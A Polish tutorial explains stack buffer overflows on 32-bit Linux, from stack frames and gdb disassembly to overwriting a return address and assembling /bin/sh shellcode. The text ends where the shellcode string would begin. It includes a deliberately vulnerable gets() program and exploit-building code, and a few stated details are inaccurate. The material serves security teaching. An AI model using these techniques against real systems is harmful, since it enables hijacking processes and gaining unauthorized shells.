Przepełnienie bufora

Spis treści

1. Wprowadzenie
1.1 Czym jest przepełnienie bufora
1.2 Założenia
2. Podstawowe informacje
2.1 Organizacja pamięci programu
2.2 Stos
2.3 Mechanizm wywoływania funkcji
2.3.1 Instrukcja CALL
2.3.2 Instrukcja RET
3. Teoria w praktyce
3.1 Prosty program i jego kod
3.1.1 Kompilacja programu
3.1.2 Kompilacja programu do kodu Assemblera
3.1.3 Oglądanie kodu programu przy pomocy gdb
3.2 Analiza wykonania przykładu
4. Modyfikacja przebiegu programu
4.1 Pierwsza wersja programu
4.2 Zmiana przebiegu
5. Przepełnianie bufora
5.1 Przykład
6. Generowanie szkodnika
6.1 Wywołanie powłoki
6.2 Obsługa sytuacji awaryjnych
7. Shellcode w akcji
8. Jak się bronić
9. Bibliografia

Przepełnienie bufora

1. Wprowadzenie

1.1 Czym jest przepełnienie bufora

Przepełnienie bufora jest to popularna nazwa techniki wykorzystywanej do przejęcia kontroli nad wykonującym się w systemie procesem. Technika ta wykorzystuje błąd programisty, który nie sprawdza czy ilość wprowadzonych przez użytkownika danych nie przekracza dopuszczalnego rozmiaru. Brak kontroli pozwala na wprowadzenie większej ilości danych, a informacje wykraczające poza zadeklarowany przez programistę rozmiar, będą umieszczane w pamięci za buforem modyfikując fragmenty pamięci nie związane z samym buforem. W przypadku, gdy użytkownik przekroczy zakres ale nie stara się przejąć kontroli nad systemem, program prawdopodobnie zakończy działanie bądź wykona jakąś nieoczekiwaną instrukcję. Znacznie gorzej jest w sytuacji, gdy użytkownik świadomie wprowadza zbyt wiele znaków, chcąc tym samym przejąć kontrolę nad procesem. W takiej sytuacji może dojść do przejęcia uprawnień wykonującego się procesu co może powodować bardzo duże zagrożenie dla całego systemu.

Przepełnianie bufora jest możliwe w sytuacji, gdy brakuje kontroli nad ilością wprowadzanych danych. Najbardziej zagrożone są programy pisane w językach niskopoziomowych takich jak Assembler lub w językach trochę wyższego poziomu ale mimo wszystko pozwalających na dość swobodne manipulowanie pamięcią (C, C++). Języki wysokopoziomowe takie jak np. Java posiadają wbudowane mechanizmy ochrony przed różnorakimi błędami związanymi z pamięcią. Jednak dostępność tych mechanizmów okupywana jest znaczną stratą wydajności (nie należy także ulegać złudzeniu bycia bezpiecznym, sam język również może mieć jakieś błędy...).

1.2 Założenia

Na potrzeby tego dokumentu przyjęte zostaną następujące założenia:

Niestety w związku z tym, że prezentowana technika tak bardzo zależy od konfiguracji komputera, na którym jest wykorzystywana, przedstawione przykłady mogą nie zadziałać pomimo zgodności konfiguracji komputera testowego z tą przedstawioną powyżej. W związku z tym podaję konfigurację komputera, na której zostały sprawdzone:

Do góry


2. Podstawowe informacje

2.1 Organizacja pamięci programu

Pamięć procesu przedstawia następujący rysunek:

pamięć w linuksie

Poszczególne fragmenty pamięci zawierają:

2.2 Stos

Stos jest to ciągły obszar pamięci implementujący kolejkę FILO (pierwszy wchodzi ostatni wychodzi). Operacje na stosie (push, pop) dostarczane są przez odpowiednie instrukcje procesora (odpowiednio PUSH i POP). Stos jest ściśle związany z mechanizmem wywoływania funkcji i przechowuje tzw. ramki umieszczanych tam w momencie wywołania funkcji i zdejmowanych w chwili powrotu z funkcji. Każda ramka zawiera następujące elementy:

Dodatkowo należy zwrócić uwagę, że na maszynach typu x86 stos rośnie od adresów wysokich ku niższym (najwyższy element na stosie ma najniższy adres).

Przykładowy wierzchołek stosu przedstawia poniższy rysunek:

schemat stosu

Rysunek, oprócz przykładowej ramki, przedstawia także zawartość dwóch rejestrów procesora:

Dostępność rejestru EBP oraz pozycja na stosie jaką wskazuje pozwala na odwoływanie się do argumentów funkcji oraz do jej zmiennych lokalnych poprzez dodanie odpowiedniej wartości do EBP. Przykładowo:

EBP + 4 = adres powrotu
EBP + 8 = pierwszy argument
EBP - 4 = pierwsza zmienna lokalna funkcji

(wartościami dodawanymi są wielokrotności 4 ponieważ każdy element stosu ma długość jednego słowa a te ma 4 bajty (na maszynie x86).

2.3 Mechanizm wywoływania funkcji

Mechanizm umożliwiający wywoływanie funkcji musi zapewnić , że, po zakończeniu wykonywania wywoływanej funkcji, sterowanie wróci do miejsca wywołania. Aby to zapewnić procesory x86 udostępniają instrukcje CALL oraz RET (omówione poniżej). Dodatkowo na stos należy włożyć argumenty funkcji oraz zadbać o zapamiętanie adresu ramki funkcji wywołującej i odpowiednie uaktualnienie wskaźnika aktualnej ramki (rejestr EBP). O te czynności zadbać trzeba samodzielnie (oczywiście jeżeli programujemy w assemblerze, w przypadku języków wyższego poziomu odpowiednie operacje przeprowadza kompilator).

W przypadku języka C wywołanie funkcji odbywa się następująco:

Współczesne kompilatory starają się zoptymalizować (przyspieszyć) kod. Jedną z metod osiągnięcia tego jest powiększenie stosu (w momencie wykonywania kodu funkcji) o znacznie większą ilość komórek niż jest to potrzebne do przechowywania zmiennych lokalnych. Dodatkowa pamięć jest wykorzystywana np. do przyspieszenia funkcji. Na przykład zamiast używać instrukcji PUSH i POP, które wkładają odpowiedni element na stos i uaktualniają rejestr ESP, można "wkładać" elementy w odpowiednie miejsca poniżej wierzchołka stosu (oczywiście dbając o to aby nie uszkodzić znajdujących się tam danych) co można zrealizować przy pomocy jednej instrukcji.

2.3.1 Instrukcja CALL

Instrukcja CALL działa następująco:

mechanizm call

2.3.2 Instrukcja RET

Instrukcja RET działa następująco:

mechanizm ret

Do góry


3. Teoria w praktyce

3.1 Prosty program i jego kod

Aby zrozumieć proces przepełniania bufora trzeba wiedzieć jak uzyskać dostęp do kodu Assemblera do jakiego kompiluje się nasz program oraz umieć z tego kodu wyciągać interesujące nas informacje. Podstawowe informacje na temat tego jak wygląda przedstawiona w rozdziale 2 teoria w praktyce, zdobędziemy poprzez analizę prostego programu:

przyklad1.c:

int funkcja(int a, int b, int c)
{       
        int x;
}       

int main()
{       
        funkcja(1,2,3);
}       

3.1.1 Kompilacja programu

Prezentowane tutaj przykłady warto po prostu skompilować i spróbować uruchomić. W tym celu korzystamy z polecenia:

gcc -o nazwa_pliku -ggdb nazwa_pliku.c

Użycie flagi -ggdb spowoduje dodanie informacji o symbolach przydatnych podczas debugowania programu. Symbole te mogą pomóc w przypadku, gdy program nie zadziała tak jak powinien i chcielibyśmy dowiedzieć się dlaczego.

3.1.2 Kompilacja programu do kodu Assemblera

Aby obejrzeć kod Assemblera do jakiego zostanie skompilowany nasz program, należy podczas kompilacji dodać opcję -S:

gcc -S -o nazwa_pliku.s nazwa_pliku.c

Kod wygenerowany przy pomocy tej komendy z przykładowego programu wygląda następująco:

        .file   "przyklad1.c"
        .text
.globl funkcja
        .type   funkcja, @function
funkcja:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $4, %esp
        leave
        ret
        .size   funkcja, .-funkcja
.globl main
        .type   main, @function
main:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $24, %esp
        andl    $-16, %esp
        movl    $0, %eax
        addl    $15, %eax
        addl    $15, %eax
        shrl    $4, %eax
        sall    $4, %eax
        subl    %eax, %esp
        movl    $3, 8(%esp)
        movl    $2, 4(%esp)
        movl    $1, (%esp)
        call    funkcja
        leave
        ret
        .size   main, .-main
        .section        .note.GNU-stack,"",@progbits
        .ident  "GCC: (GNU) 3.4.5 (Gentoo 3.4.5, ssp-3.4.5-1.0, pie-8.7.9)"

3.1.3 Oglądanie kodu programu przy pomocy gdb

Inną bardzo pożyteczna metodą oglądania kodu Assemblera do jakiego został skompilowany nasz program, jest wykorzystanie gdb. Aby z tej metody skorzystać musimy wykonać następujące kroki:

gcc -o nazwa_pliku -ggdb nazwa_pliku.c
gdb nazwa_pliku

Po wykonaniu powyższych komend, otworzy się konsola programu gdb. Teraz aby obejrzeć kod wybranej funkcji należy wpisać komendę:

disassemble funkcja

Dla naszego przykładowego programu, odpowiedni kod wygląda następująco (mamy dwie funkcje, a więc trzeba wydać odpowiednią komendę dla obu z nich).

(gdb) disassemble main
Dump of assembler code for function main:
0x0804836c <main+0>:    push   %ebp
0x0804836d <main+1>:    mov    %esp,%ebp
0x0804836f <main+3>:    sub    $0x18,%esp
0x08048372 <main+6>:    and    $0xfffffff0,%esp
0x08048375 <main+9>:    mov    $0x0,%eax
0x0804837a <main+14>:   add    $0xf,%eax
0x0804837d <main+17>:   add    $0xf,%eax
0x08048380 <main+20>:   shr    $0x4,%eax
0x08048383 <main+23>:   shl    $0x4,%eax
0x08048386 <main+26>:   sub    %eax,%esp
0x08048388 <main+28>:   movl   $0x3,0x8(%esp)
0x08048390 <main+36>:   movl   $0x2,0x4(%esp)
0x08048398 <main+44>:   movl   $0x1,(%esp)
0x0804839f <main+51>:   call   0x8048364 <funkcja>
0x080483a4 <main+56>:   leave  
0x080483a5 <main+57>:   ret    
0x080483a6 <main+58>:   nop    
0x080483a7 <main+59>:   nop    
0x080483a8 <main+60>:   nop    
0x080483a9 <main+61>:   nop    
0x080483aa <main+62>:   nop    
0x080483ab <main+63>:   nop    
0x080483ac <main+64>:   nop    
0x080483ad <main+65>:   nop    
0x080483ae <main+66>:   nop    
0x080483af <main+67>:   nop    
End of assembler dump.
(gdb) disassemble funkcja
Dump of assembler code for function funkcja:
0x08048364 <funkcja+0>: push   %ebp
0x08048365 <funkcja+1>: mov    %esp,%ebp
0x08048367 <funkcja+3>: sub    $0x4,%esp
0x0804836a <funkcja+6>: leave  
0x0804836b <funkcja+7>: ret    
End of assembler dump.

Warto w tym momencie zauważyć, że kod jaki można obejrzeć dzięki gdb niesie ze sobą znacznie więcej informacji niż ten uzyskiwany dzięki kompilacji z flagą -S. Ta forma prezentacji kodu daje nam bowiem oprócz samych instrukcji, także ich adresy w pamięci oraz offset względem początku funkcji, co jak się później okaże jest nie do przecenienia.

3.2 Analiza wykonania przykładu

Prześledźmy teraz co się dzieje podczas wykonania programu (będzie nam głównie zależało na zrozumieniu jak poszczególne instrukcje wpływają na stos).

Początkowo, przed wywołaniem funkcji, stos wygląda tak:

przykład 1 - stos 1
int main()
{       
przykład 1 - stos 2
0x0804836c <main+0>:    push   %ebp
0x0804836d <main+1>:    mov    %esp,%ebp
0x0804836f <main+3>:    sub    $0x18,%esp
0x08048372 <main+6>:    and    $0xfffffff0,%esp
0x08048375 <main+9>:    mov    $0x0,%eax
0x0804837a <main+14>:   add    $0xf,%eax
0x0804837d <main+17>:   add    $0xf,%eax
0x08048380 <main+20>:   shr    $0x4,%eax
0x08048383 <main+23>:   shl    $0x4,%eax
0x08048386 <main+26>:   sub    %eax,%esp
Wykonanie programu rozpoczyna się od skoku do funkcji main, jest to funkcja taka jak każda inna, w związku z tym należy zadbać o zapamiętanie EBP z poprzedniej funkcji oraz o uaktualnienie EBP aby wskazywał na aktualną ramkę. Instrukcje assemblerowe zaczynające się od main+3 odpowiedzialne są w celu przyspieszenia działania funkcji. Ich działanie nie jest dla nas istotne i to jak wpływają na stos nie będzie zaznaczane.
	funkcja(1,2,3);
przykład 1 - stos 4
0x08048388 <main+28>:   movl   $0x3,0x8(%esp)
0x08048390 <main+36>:   movl   $0x2,0x4(%esp)
0x08048398 <main+44>:   movl   $0x1,(%esp)
0x0804839f <main+51>:   call   0x8048364 <funkcja>
Na stos odkładane są poszczególne argumenty dla funkcji funkcja. Widać tutaj, że w C atrybuty odkładane są w kolejności od ostatniego do pierwszego. Dodatkowo warto zauważyć tutaj, że umieszczanie argumentów na stosie odbywa się nie przy pomocy instrukcji PUSH tylko za pomocą instrukcji MOVL. Takie podejście jest możliwe ponieważ wierzchołek stosu jest na tyle "wysoko" aby postępując w ten sposób nie uszkodzić żadnych istotnych dla programu komórek pamięci. Dodatkowo instrukcja CALL odkłada na stosie adres powrotu oraz powoduje przekazanie sterowania do kodu funkcji funkcja.
int funkcja (int a, int b, int c)
{
przykład 1 - stos 5
0x08048364 <funkcja+0>: push   %ebp
0x08048365 <funkcja+1>: mov    %esp,%ebp
Na wstępie wywoływana funkcja dba o to aby zapamiętać adres ramki funkcji wywołującej i uaktualnia EBP aby wskazywał na aktualną ramkę.
	int x;
przykład 1 - stos 6
0x08048367 <funkcja+3>: sub    $0x4,%esp
Funkcja rezerwuje pamięć na zmienną x. Jest to zmienna typu int a więc ma 4 bajty. Dostęp do tej zmiennej jest możliwy poprzez odwołanie się do rejestru EBP.
&x = EBP + 4
}
przykład 1 - stos 7
0x0804836a <funkcja+6>: leave  
0x0804836b <funkcja+7>: ret    
Wyjście z funkcji funkcja. Instrukcja LEAVE zapewnia, że w momencie wywołania RET na szczycie stosu będzie się znajdował adres pod jaki należy skoczyć. Instrukcja RET zdejmuje ten adres i wykonuje odpowiedni skok.
}
przykład 1 stos 8
0x080483a4 <main+56>:   leave  
0x080483a5 <main+57>:   ret    
Wyjście z funkcji main. Stos jest w takim stanie w jakim był przed wykonaniem funkcji.

Do góry


4. Modyfikacja przebiegu programu

4.1 Pierwsza wersja programu

Teraz, gdy już wiadomo jak wygląda pamięć procesu, zrobimy z tej wiedzy użytek. Rozważmy następujący przykład:

przyklad2.c

void funkcja (int a, int b, int c)
{
	int *wsk;
}

int main ()
{
	int a, b;
	a = 1;
	b = 2;
	funkcja(a,b,3);
	a = 5;
	printf("%d\n", a);
}

Cel do jakiego będziemy dążyć to taka modyfikacja kodu funkcji funkcja aby pominięta została instrukcja a = 5 z funkcji main. Aby do tego dojść, prześledźmy co się dzieje w pamięci procesu w trakcie wykonania programu:

int main ()
{
 int a, b;
 
przykład 2 - stos 1
0x0804839c <main+0>:    push   %ebp
0x0804839d <main+1>:    mov    %esp,%ebp
0x0804839f <main+3>:    sub    $0x18,%esp
0x080483a2 <main+6>:    and    $0xfffffff0,%esp
0x080483a5 <main+9>:    mov    $0x0,%eax
0x080483aa <main+14>:   add    $0xf,%eax
0x080483ad <main+17>:   add    $0xf,%eax
0x080483b0 <main+20>:   shr    $0x4,%eax
0x080483b3 <main+23>:   shl    $0x4,%eax
0x080483b6 <main+26>:   sub    %eax,%esp
Wstępne czynności związane z wywołaniem funkcji main (umieszczenie odpowiednich elementów na stosie, oraz rezerwacja pamięci).

	a = 1;
	b = 2;
przykład 2 - stos 2
0x080483b8 <main+28>:   movl   $0x1,0xfffffffc(%ebp)
0x080483bf <main+35>:   movl   $0x2,0xfffffff8(%ebp)
Przypisanie odpowiednich wartości na zmienne.

	funkcja(a, b, 3)
przykład 2 - stos 3
0x080483c6 <main+42>:   movl   $0x3,0x8(%esp)
0x080483ce <main+50>:   mov    0xfffffff8(%ebp),%eax
0x080483d1 <main+53>:   mov    %eax,0x4(%esp)
0x080483d5 <main+57>:   mov    0xfffffffc(%ebp),%eax
0x080483d8 <main+60>:   mov    %eax,(%esp)
0x080483db <main+63>:   call   0x8048394 <funkcja>
Wywołanie funkcji.

void funkcja (int a, int b, int c)
{
	int *wsk;
przykład 2 - stos 4
0x08048394 <funkcja+0>: push   %ebp
0x08048395 <funkcja+1>: mov    %esp,%ebp
0x08048397 <funkcja+3>: sub    $0x4,%esp
Odłożenie na stos EBP z funkcji main i przesunięcie stosu o jedno długie słowo w dół, tak aby zmieściła się zmienna wsk.

}
przykład 2 - stos 5
0x0804839a <funkcja+6>: leave  
0x0804839b <funkcja+7>: ret    
Wyjście z funkcji. Zabranie ze stosu wszystkich elementów dodanych tam podczas wykonywania funkcji oraz zapisanie w EIP adresu powrotu (skok do main).

	a = 5;
przykład 2 - stos 6
0x080483e0 <main+68>:   movl   $0x5,0xfffffffc(%ebp)
Przypisanie wartości 5 na zmienną a (warto zwrócić uwagę jak wygląda odwołanie do zmiennej w assemblerze).

	printf("%d\n", a);
przykład 2 - stos 7
0x080483e7 <main+75>:   mov    0xfffffffc(%ebp),%eax
0x080483ea <main+78>:   mov    %eax,0x4(%esp)
0x080483ee <main+82>:   movl   $0x80484f8,(%esp)
0x080483f5 <main+89>:   call   0x80482d0 <printf@plt>
Wywołanie funkcji printf (tutaj warto zauważyć że łańcuchy są przechowywane w innym miejscem i odwołanie do nich odbywa się poprzez etykietę tłumaczoną później na odpowiedni adres).

}
 
0x080483fa <main+94>:   leave  
0x080483fb <main+95>:   ret    

4.2 Zmiana przebiegu

Przyjrzyjmy się dokładniej temu co zawiera stos po wejściu do funkcji funkcja:

stos po wejściu do funkcji

Aby zmienić przebieg wykonania programu, trzeba dobrać się do adresu powrotu z funkcji funkcja. Będąc wewnątrz funkcji mamy dostęp do następujących pozycji na stosie:

W związku z tym, aby zmodyfikować adres powrotu wystarczy zmodyfikować wartość znajdującą się pod odpowiednim adresem, np:

&a - 1

Zamiast 4 dodawane jest 1 ponieważ &a jest typu int * a więc standardowo każda dodawana liczba ma 4 bajty.

Skoro wiemy już co modyfikować, trzeba jeszcze dowiedzieć się jaki jest adres instrukcji następującej po a = 5. Spójrzmy na odpowiedni fragment kodu assemblerowego prezentowanego przez gdb dla funkcji main:

(gdb) disassemble main
(...)
0x080483db ;<main+63>:   call   0x8048394 <funkcja>
0x080483e0 ;<main+68>:   movl   $0x5,0xfffffffc(%ebp)
0x080483e7 ;<main+75>:   mov    0xfffffffc(%ebp),%eax
(...)
(gdb)

W powyższym przykładzie adres powrotu standardowo wynosi 0x080483e0, a chcemy go zmienić na 0x080483e7. A więc do adresu powrotu należy dodać 7.

Oto kod po wprowadzeniu modyfikacji:

przyklad3.c

void funkcja (int a, int b, int c)
{
	int *wsk;
	wsk = &a - 1;
	*wsk += 7;	
}

int main ()
{
	int a, b;
	a = 1;
	b = 2;
	funkcja(a,b,3);
	a = 5;
	printf("%d\n", a);
}

Poniżej znajduje się omówienie tego co się dzieje na stosie w tak zmodyfikowanym programie

int main ()
{
	int a;
	a = 1;
przykład 3 - stos 1
	funkcja(1,2,3);
przykład 3 - stos 2
void funkcja (int a, int b, int c)
{
	int *wsk;
	
przykład 3 - stos 3
	wsk = &a - 1;
przykład 3 - stos 4
	*wsk += 7;
przykład 3 - stos 5
	printf("%d\n", a);
}
przykład 3 - stos 6

Do góry


5. Przepełnianie bufora

Wiedza zdobyta do tej pory pozwalała na zmianę przebiegu programu w sytuacji, w której mieliśmy wpływ na kod programu, mogliśmy swobodnie coś dodać, skompilować i sprawdzić. Jak łatwo się domyślić ataki wykorzystujące opisywaną technikę nie polegają na kompilacji programu i podsunięciu tak stworzonego szkodnika jakiemuś użytkownikowi. Technika ta opiera się na możliwości podania programowi odpowiednio spreparowanego łańcucha znaków. W jaki sposób to może zaszkodzić programowi podatnemu na przepełnianie bufora, przekonamy się w tym rozdziale.

5.1 Przykład

Rozważmy następujący program:

przyklad4.c

int main ()
{
	char bufor[16];
	gets(bufor);
}

Powyższy program oczekuje na wprowadzenie łańcucha znaków. Zobaczmy co się stanie, gdy użytkownik wprowadzi znacznie więcej znaków niż przewiduje to rozmiar bufora (np. ponad 30 literek A).

int main ()
{
	char bufor[16];
	gets(bufor);
przykład 4 - stos 1
użytkownik wprowadza AAAAAAAA....
przykład 4 - stos 2
}
przykład 4 - stos 3

Jak widać na powyższym przykładzie konstrukcje nie zapewniające kontroli długości wprowadzanych łańcuchów są bardzo niebezpieczne. W wyniku wprowadzenia takiego wejścia jak w przykładzie, program prawdopodobnie zakończyłby się z błędem. Możliwe jest jednak takie sprepraowanie łańcucha jaki zostanie wprowadzony, aby dokonany skok nie był błędny tylko spowodował wykonanie podanego na wejściu kodu. O tym, jak wygenerować odpowiedni zestaw znaków, mowa jest w następnym rozdziale.


Do góry


6. Generowanie szkodnika

W poprzednim rozdziale widać było w jaki sposób można wykorzystać błąd i nadpisać adres powrotu. Nadal jednak pozostaje zagadką jakie znaki należałoby umieścić w buforze aby zmusić do udostępnienia nam powłoki.

6.1 Wywołanie powłoki

Zacznijmy od zapisania w C programu, który powoduje wywołanie powłoki systemowej:

przyklad5.c

#include <stdio.h>
int main ()
{
	char *nazwa[2];
	nazwa[0] = "/bin/sh";
	nazwa[1] = NULL;
        execvp(nazwa[0], nazwa, NULL);
}

To co jest najistotniejsze w tym programie to wykonanie instrukcji execvp. Przyjrzyjmy się więc co się w niej dzieje.

0x0804e200 <execve+0>:  push   %ebp
0x0804e201 <execve+1>:  mov    $0x0,%eax
0x0804e206 <execve+6>:  test   %eax,%eax
0x0804e208 <execve+8>:  mov    %esp,%ebp
Inicjacja
0x0804e20a <execve+10>: push   %ebx
zapamiętanie poprzedniej wartosci ebx
0x0804e20b <execve+11>: mov    0x8(%ebp),%ebx
adres "/bin/sh" na ebx
0x0804e20e <execve+14>: je     0x804e215 <execve+21>
0x0804e210 <execve+16>: call   0x0
asercja
0x0804e215 <execve+21>: mov    0xc(%ebp),%ecx
0x0804e218 <execve+24>: mov    0x10(%ebp),%edx
adres "nazwa" na ecx, NULL na edx
0x0804e21b <execve+27>: mov    $0xb,%eax
11 na eax (numer execvp z /usr/include/asm/unistd.h)
0x0804e220 <execve+32>: int    $0x80
Wywołanie funkcji systemowej o numerze zapisanym w eax (11).
0x0804e222 <execve+34>: cmp    $0xfffff000,%eax
0x0804e227 <execve+39>: mov    %eax,%ebx
0x0804e229 <execve+41>: ja     0x804e230 <execve+48>
0x0804e22b <execve+43>: mov    %ebx,%eax
0x0804e22d <execve+45>: pop    %ebx
0x0804e22e <execve+46>: leave  
0x0804e22f <execve+47>: ret    
0x0804e230 <execve+48>: neg    %ebx
0x0804e232 <execve+50>: call   0x8048940 <__errno_location>
0x0804e237 <execve+55>: mov    %ebx,(%eax)
0x0804e239 <execve+57>: mov    $0xffffffff,%ebx
0x0804e23e <execve+62>: mov    %ebx,%eax
0x0804e240 <execve+64>: pop    %ebx
0x0804e241 <execve+65>: leave  
0x0804e242 <execve+66>: ret    
Nie istotne z naszego punktu widzenia

A więc aby wykonać funkcję execve należy:

6.2 Obsługa sytuacji awaryjnych

Wiemy już jak nakazać wykonanie "/bin/sh", ale co się stanie, jeżeli execve nie wykona się prawidłowo? Program zacznie wykonywać instrukcje na podstawie wartości znajdujących się na stosie, który może zawierać bardzo różne dane. W związku z tym należy zadbać aby, w przypadku powrotu z funkcji execvp, program prawidłowo zakończył swoje działanie. Aby zobaczyć jakich instrukcji potrzebujemy, prześledźmy poniższy program:

przyklad6.c

#include <stdio.h>
int main()
{
	exit(0);
}

Zobaczmy jak zachowuje się funkcja exit:

0x0804e1cc <_exit+0>:   mov    0x4(%esp),%ebx
zapisanie wartości 0x4(%esp) - wartość będącą na wierzchołku stosu (wartość jaką exit ma zwrócić).
0x0804e1d0 <_exit+4>:   mov    $0xfc,%eax
0x0804e1d5 <_exit+9>:   int    $0x80
0xfc jest numerem funkcji powodującej wyjście z grupy procesów
0x0804e1d7 <_exit+11>:  mov    $0x1,%eax
0x0804e1dc <_exit+16>:  int    $0x80
1 - numer funkcji systemowej exit.
0x0804e1de <_exit+18>:  hlt    
0x0804e1df <_exit+19>:  nop    
zakończenie programu

Złóżmy to wszystko razem i zobaczmy co musimy teraz wykonać:

Skoro wiadomo już co należy zrobić, zapiszmy to:

        movl   string_addr,string_addr_addr
	movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
	int    $0x80
        /bin/sh string idzie tutaj.

Pojawia się niestety problem. Polega on na tym, że instrukcje mov, lea operują na adresach bezwzględnych a więc musielibyśmy znać dokładny adres łańcucha "/bin/sh". Jedną z metod na obejście tego problemu jest wykorzystanie instrukcji skoku oraz wywołania (JMP i CALL), które operują na adresach względnych. Aby uzyskać adres naszego kodu dodajemy przed łańcuchem /bin/sh instrukcję CALL a na początku kodu instrukcję JMP do tej instrukcji CALL.

        jmp    offset-to-call           
        popl   %esi                     
        movl   %esi,array-offset(%esi)  
        movb   $0x0,nullbyteoffset(%esi)
        movl   $0x0,null-offset(%esi)   
        movl   $0xb,%eax                
        movl   %esi,%ebx                
        leal   array-offset,(%esi),%ecx 
        leal   null-offset(%esi),%edx   
        int    $0x80                    
        movl   $0x1, %eax		
        movl   $0x0, %ebx		
	int    $0x80			
        call   offset-to-popl          
        /bin/sh string idzie tutaj.

Należy tylko wyliczyć offset o jaki należy skoczyć instrukcją jmp oraz offset o jaki należy wrócić instrukcją call. Aby to zrobić, skompilujmy następujący program:

przyklad7.c

int main()
{
__asm__("\n\t"
        "jmp    0x0                     \n\t"
        "popl   %esi                     \n\t"
        "movl   %esi,0x8(%esi)           \n\t"
        "movb   $0x0,0x7(%esi)           \n\t"
        "movl   $0x0,0xc(%esi)           \n\t"
        "movl   $0xb,%eax                \n\t"
        "movl   %esi,%ebx                \n\t"
        "leal   0x8(%esi),%ecx           \n\t"
        "leal   0xc(%esi),%edx           \n\t"
        "int    $0x80                    \n\t"
        "movl   $0x1, %eax               \n\t"
        "movl   $0x0, %ebx               \n\t"
        "int    $0x80                    \n\t"
        "call   -0x0                    \n\t"
        ".string \"/bin/sh\"             \n"
);
}

Przyjrzyjmy się, jak wygląda kod powyższego programu:

(gdb) disassemble main 
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x8048381 <main+29>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   movb   $0x0,0x7(%esi)
0x0804838d <main+41>:   movl   $0x0,0xc(%esi)
0x08048394 <main+48>:   mov    $0xb,%eax
0x08048399 <main+53>:   mov    %esi,%ebx
0x0804839b <main+55>:   lea    0x8(%esi),%ecx
0x0804839e <main+58>:   lea    0xc(%esi),%edx
0x080483a1 <main+61>:   int    $0x80
0x080483a3 <main+63>:   mov    $0x1,%eax
0x080483a8 <main+68>:   mov    $0x0,%ebx
0x080483ad <main+73>:   int    $0x80
0x080483af <main+75>:   call   0x80483b0 <main+76>
0x080483b4 <main+80>:   das    
0x080483b5 <main+81>:   bound  %ebp,0x6e(%ecx)
0x080483b8 <main+84>:   das    
0x080483b9 <main+85>:   jae    0x8048423 <__libc_csu_fini+19>
0x080483bb <main+87>:   add    %cl,%cl
0x080483bd <main+89>:   ret    
0x080483be <main+90>:   nop    
0x080483bf <main+91>:   nop    
End of assembler dump.
(gdb) 

Aby wyliczyć offset jaki należy wpisać w instrukcji jmp należy wykonać proste działanie

(main+75) - (main+29) = 46	= 0x2e	

- main+29 ponieważ bajt main+28 jest zajęty przez kod instrukcji jmp
Analogicznie dla instrukcji CALL:

(main + 33)  - (main + 76) = -43 = -0x2b

Ostatecznie, nasz szkodnik wygląda następująco:

przyklad8.c


int main()
{
__asm__("\n\t"
        "jmp    0x2e \n\t"
        "popl   %esi \n\t"
        "movl   %esi,0x8(%esi) \n\t"
        "movb   $0x0,0x7(%esi) \n\t"
        "movl   $0x0,0xc(%esi) \n\t"
        "movl   $0xb,%eax \n\t" 
        "movl   %esi,%ebx \n\t" 
        "leal   0x8(%esi),%ecx \n\t" 
        "leal   0xc(%esi),%edx \n\t"
        "int    $0x80 \n\t"
        "movl   $0x1, %eax \n\t" 
        "movl   $0x0, %ebx \n\t" 
        "int    $0x80 \n\t" 
        "call   -0x2b \n\t" 
        ".string \"/bin/sh\""
);
}

Po kompilacji i próbie uruchomienia powinniśmy dostać... błąd Segmentation Fault. Wynika to z tego, że próbujemy modyfikować własny kod, który leży w fragmencie pamięci tylko do odczytu. Mimo tego program ten przyda nam się aby uzyskać szesnastkową reprezentację tego kodu (aby można ją było zapisać w łańcuchu). W tym celu wykorzystamy gdb:

(gdb) disassemble main
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x8,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   add    $0xf,%eax
0x08048375 <main+17>:   add    $0xf,%eax
0x08048378 <main+20>:   shr    $0x4,%eax
0x0804837b <main+23>:   shl    $0x4,%eax
0x0804837e <main+26>:   sub    %eax,%esp
0x08048380 <main+28>:   jmp    0x80483ab <main+71>
0x08048385 <main+33>:   pop    %esi
0x08048386 <main+34>:   mov    %esi,0x8(%esi)
0x08048389 <main+37>:   movb   $0x0,0x7(%esi)
0x0804838d <main+41>:   movl   $0x0,0xc(%esi)
0x08048394 <main+48>:   mov    $0xb,%eax
0x08048399 <main+53>:   mov    %esi,%ebx
0x0804839b <main+55>:   lea    0x8(%esi),%ecx
0x0804839e <main+58>:   lea    0xc(%esi),%edx
0x080483a1 <main+61>:   int    $0x80
0x080483a3 <main+63>:   mov    $0x1,%eax
0x080483a8 <main+68>:   mov    $0x0,%ebx
0x080483ad <main+73>:   int    $0x80
0x080483af <main+75>:   call   0x8048381 <main+29>
0x080483b4 <main+80>:   das    
0x080483b5 <main+81>:   bound  %ebp,0x6e(%ecx)
0x080483b8 <main+84>:   das    
0x080483b9 <main+85>:   jae    0x8048423 <__libc_csu_fini+19>
0x080483bb <main+87>:   add    %cl,%cl
0x080483bd <main+89>:   ret    
0x080483be <main+90>:   nop    
0x080483bf <main+91>:   nop    
End of assembler dump.
(gdb) x/bx main+28
0x8048380 <main+28>:    0xe9
(gdb) x/bx main+29
0x8048381 <main+29>:    0x2a

Rozbierając tak wszystkie instrukcje od main+28 do main+69 otrzymamy pełen kod. Spójrzmy teraz na następujący program:

przyklad9.c

char shellcode[]=
